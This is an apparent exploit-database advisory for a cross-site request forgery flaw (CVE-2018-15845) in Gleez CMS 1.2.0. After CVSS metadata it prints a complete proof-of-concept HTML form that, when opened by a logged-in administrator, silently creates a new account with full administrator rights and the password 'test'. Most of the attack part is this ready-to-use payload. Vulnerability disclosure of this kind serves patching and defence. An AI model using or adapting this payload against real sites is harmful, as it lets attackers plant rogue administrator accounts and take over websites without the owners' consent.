Gleez CMS 1.2.0 Cross Site Request Forgery

2018.08.28
Credit: GunEggWang
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Gleez CMS 1.2.0 - Cross-Site Request Forgery (Add Admin) # Date: 2018-08-24 # Exploit Author: GunEggWang # Vendor Homepage: https://gleezcms.org/ # Software Link: https://github.com/gleez/cms # Version: 1.2.0 # CVE : CVE-2018-15845 # Description: # There is a CSRF vulnerability that can add an administrator account in # Gleez CMS 1.2.0 via admin/users/add. (https://github.com/gleez/cms/issues/800) # After the administrator logged in,open the POC,that will create an new admin account unexcused. # POC: <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://demo.gleezcms.org/admin/users/add?0=" method="POST"> <input type="hidden" name="_token" value="18eabd0645699b3eec1686301a684392e8a4735a" /> <input type="hidden" name="_action" value="909998bbc9e60ce40ae378a1055b46f3" /> <input type="hidden" name="name" value="test" /> <input type="hidden" name="pass" value="test" /> <input type="hidden" name="nick" value="test" /> <input type="hidden" name="mail" value="admin@admin.cc" /> <input type="hidden" name="status" value="1" /> <input type="hidden" name="roles[admin]" value="Administrative user, has access to everything." /> <input type="hidden" name="site_url" value="http://demo.gleezcms.org/" /> <input type="hidden" name="user" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html>


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